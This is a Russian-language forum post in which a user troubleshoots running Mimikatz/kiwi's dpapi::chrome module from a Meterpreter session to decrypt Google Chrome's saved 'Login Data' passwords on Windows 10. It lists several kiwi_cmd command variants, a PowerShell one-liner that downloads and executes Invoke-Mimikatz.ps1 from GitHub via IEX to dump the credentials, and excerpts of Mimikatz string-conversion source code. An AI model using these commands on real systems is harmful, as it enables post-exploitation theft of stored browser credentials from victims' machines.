Проблемма при работе с модулем 'dpapi:chrome' в Mimikatz/kiwi из сессии meterpreter

[MovHex]

Приветствую,

пробую запустить mimikatz/kiwi на win 10 64bit с модулем 'dpapi:chrome' из metterpreter-а используя функцию kiwi_cmd для сбора инфы из базы ".sqlite" Google Chrome.
И столкнулся с проблемой неправильной(как мне кажется) обработки аргумента в котором передаться путь к базе.
Первый пробел в пути к базе автоматически воспринимается mimikatz-ом как конец строки, ниже кину скрины со всеми вариантами которые я пробовал(по факту я пробовал гораздо больше)

Вариант 1:

kiwi_cmd "dpapi::chrome /in:'%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data' /unprotect"

Вариант 2:

kiwi_cmd "dpapi::chrome /in:\"%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data\" /unprotect"

Вариант 3:

kiwi_cmd "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\" /unprotect"

Вариант 4:

kiwi_cmd "dpapi::chrome /in:%localappdata%\Google\Chrome\User Data\Default\Login Data /unprotect"

Исходники данного модуля:

mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_chrome.c at master · gentilkiwi/mimikatz

A little tool to play with Windows security. Contribute to gentilkiwi/mimikatz development by creating an account on GitHub.

github.com

Буду благодарен за советы и идеи от людей имеющих опыт в использовании данного инструмента.

 

[MovHex]

И так, мною была протестирована .ps1 версия 2.1.1(новее версии в 'формате' .ps1 я не нашел) которая имеет аналогичную проблему при обработке пробелов на пути к базе, т.е смею предположить что всему виной именно mimikatz.

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\""

В С/C++ я не сильно силен, начал я смотреть его сурсы, а именно сурсы данного модуля dpapi::chrome: и ее часть где видно что он вначале переводит строку в ANSI(Windows-1252) с помощью kull_m_string_unicode_to_ansi() а далее уже пробует открывать саму базу.

if(aInfile = kull_m_string_unicode_to_ansi(infile))
        {
            rc = sqlite3_initialize();
            if(rc == SQLITE_OK)
            {
                rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, "win32-none");
                if(rc == SQLITE_OK)

Пошел я смотреть эту самую kull_m_string_unicode_to_ansi()

char * kull_m_string_unicode_to_ansi(const wchar_t * unicode)
{
    int needed;
    char * buffer = NULL;
    if(needed = WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, unicode, -1, NULL, 0, NULL, NULL))
        if(buffer = (char *) LocalAlloc(LPTR, needed))
            if(needed != WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, unicode, -1, buffer, needed, NULL, NULL))
                buffer = (char *) LocalFree(buffer);
    return buffer;
}

Увидел что он юзает APIшную функции WideCharToMultiByte для так сказать мапинга с аргументом WC_COMPOSITECHECK собственно пошел читать что это за аргумент и нашел:

Note Windows normally represents Unicode strings with precomposed data, making the use of the WC_COMPOSITECHECK flag unnecessary.

Почитал про остальные аргументы и пришла идея попробовать заюзать вот этот: WC_SEPCHARS но как попробовать изменить это в сурсах .ps1 версии?
Глянул их и понял что они содержат бинарщину(могу ошибаться конечно) т.е просто в нотпаде там код не отредактировать.

Ну и как всегда буду рад новым идеям, мне кажется что проблема на самом деле весьма не сложная и ее вполне реально решить.